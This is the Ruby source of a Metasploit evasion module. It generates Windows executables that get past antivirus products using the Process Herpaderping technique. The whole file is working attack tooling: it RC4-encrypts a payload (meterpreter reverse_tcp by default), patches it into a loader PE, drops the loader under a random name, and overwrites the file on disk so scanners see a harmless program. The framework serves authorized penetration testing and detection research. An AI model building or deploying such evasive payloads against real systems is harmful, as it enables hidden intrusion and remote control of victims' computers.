metasploit-framework/modules/evasion/windows/process_herpaderping.rb

193 lines
6.6 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/compiler/windows'
class MetasploitModule < Msf::Evasion
# These constants must match the constants defined in the PE loader code (ProcessHerpaderpingTemplate.cpp)
MAX_JUNK_SIZE = 1024
MAX_PAYLOAD_SIZE = 8192
MAX_KEY_SIZE = 64
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Process Herpaderping evasion technique',
'Description' => %q{
This module allows you to generate a Windows executable that evades security
products such as Windows Defender, Avast, etc. This uses the Process
Herpaderping technique to bypass Antivirus detection. This method consists in
obscuring the behavior of a running process by modifying the executable on disk
after the image has been mapped in memory (more details https://jxy-s.github.io/herpaderping/).
First, the chosen payload is encrypted and embedded in a loader Portable
Executable (PE) file. This file is then included in the final executable. Once
this executable is launched on the target, the loader PE is dropped on disk and
executed, following the Process Herpaderping technique. Note that the name of
the file that is being dropped is randomly generated. However, it is possible
to configure the destination path from Metasploit (see WRITEABLE_DIR option
description).
Here is the main workflow:
1. Retrieve the target name (where the PE loader will be dropped).
2. Retrieve the PE loader from the binary and write it on disk.
3. Create a section object and create a process from the mapped image.
4. Modify the file content on disk by copying another (inoffensive) executable
or by using random bytes (see REPLACED_WITH_FILE option description).
5. Create the main Thread.
The source code is based on Johnny Shaw's PoC (https://github.com/jxy-s/herpaderping).
},
'Author' => [
'Johnny Shaw', # Research and PoC
'Christophe De La Fuente' # MSF Module
],
'License' => MSF_LICENSE,
'References' => [
[ 'URL', 'https://jxy-s.github.io/herpaderping/' ],
[ 'URL', 'https://github.com/jxy-s/herpaderping' ],
],
'Platform' => 'windows',
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Payload' => { 'ForceEncode' => true },
'Targets' => [
[
'Microsoft Windows (x64)',
{
'Arch' => ARCH_X64,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
[
'Microsoft Windows (x86)',
{
'Arch' => ARCH_X86,
'DefaultOptions' => {
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
}
}
]
]
)
)
register_options([
OptString.new('ENCODER', [
false,
'A specific encoder to use (automatically selected if not set)',
nil
]),
OptString.new('WRITEABLE_DIR', [
true,
'Where to write the loader on disk',
'%TEMP%'
]),
OptString.new('REPLACED_WITH_FILE', [
false,
'File to replace the target with. If not set, the target file will be '\
'filled with random bytes (WARNING! it is likely to be caught by AV).',
'%SystemRoot%\\System32\\calc.exe'
])
])
end
def patch_binary(bin, tag, value)
placeholder = bin.index(tag)
unless placeholder
fail_with(Failure::BadConfig, "Invalid source binary: missing \"#{tag}\" tag")
end
bin[placeholder, value.size] = value
nil
end
def encrypt_payload
opts = { format: 'rc4', key: rc4_key }
junk = Rex::Text.rand_text(10..MAX_JUNK_SIZE)
p = payload.encoded + junk
vprint_status("Payload size: #{p.size} = #{payload.encoded.size} + #{junk.size} (junk)")
Msf::Simple::Buffer.transform(p, 'raw', nil, opts)
end
def rc4_key
@rc4_key ||= Rex::Text.rand_text_alpha(32..MAX_KEY_SIZE)
end
def run
case target.arch.first
when ARCH_X64
arch_suffix = 'x64'
when ARCH_X86
arch_suffix = 'x86'
end
payload = generate_payload
if payload.encoded.size > MAX_PAYLOAD_SIZE
fail_with(Failure::BadConfig,
"Payload too big: #{payload.encoded.size} bytes (max: #{MAX_PAYLOAD_SIZE})")
end
base_path = ::File.join(
Msf::Config.data_directory,
'evasion',
'windows',
'process_herpaderping'
)
exe_path = ::File.join(base_path, "ProcessHerpaderping_#{arch_suffix}.exe")
exe_path = ::File.expand_path(exe_path)
pe = File.binread(exe_path)
vprint_status("Using #{exe_path}")
template_path = ::File.join(base_path, "ProcessHerpaderpingTemplate_#{arch_suffix}.exe")
template_path = ::File.expand_path(template_path)
payload_pe = File.binread(template_path)
vprint_status("Using #{template_path}")
patch_binary(payload_pe, 'ENCKEY', rc4_key)
vprint_status("RC4 key: #{rc4_key}")
encrypted_payload = encrypt_payload
vprint_status("Encrypted payload size: #{encrypted_payload.size}")
size_prefix = [encrypted_payload.size].pack('L<')
patch_binary(payload_pe, 'PAYLOAD', (size_prefix + encrypted_payload).b)
vprint_status("Payload PE size #{payload_pe.size}")
patch_binary(pe, 'PAYLOAD', payload_pe)
target_file_name = Rex::Text.rand_text_alpha_lower(4..10)
target_path = datastore['WRITEABLE_DIR']
target_path << '\\' if target_path.last != '\\'
target_path << target_file_name
target_path << '.exe'
patch_binary(pe, 'TARGETFILENAME', target_path.b)
vprint_status("Target filename will be #{target_path}")
replace_path = datastore['REPLACED_WITH_FILE']
if replace_path.nil? || replace_path.empty?
replace_path = "\0"
end
patch_binary(pe, 'REPLACEFILENAME', replace_path.b)
file_create(pe)
if arch_suffix == 'x86'
print_warning(
"#### WARNING ####\n"\
"This payload won't work on 32-bit Windows 10 versions from 1511 (build\n"\
"10586) to 1703 (build 15063), including Windows 10 2016 LTSB (build 14393).\n"\
"These versions have a bug in the kernel that crashes/BugCheck the OS\n"\
"when executing this payload. So, to avoid this, the payload won't run if\n"\
'it detects the OS is one of these versions.'
)
end
end
end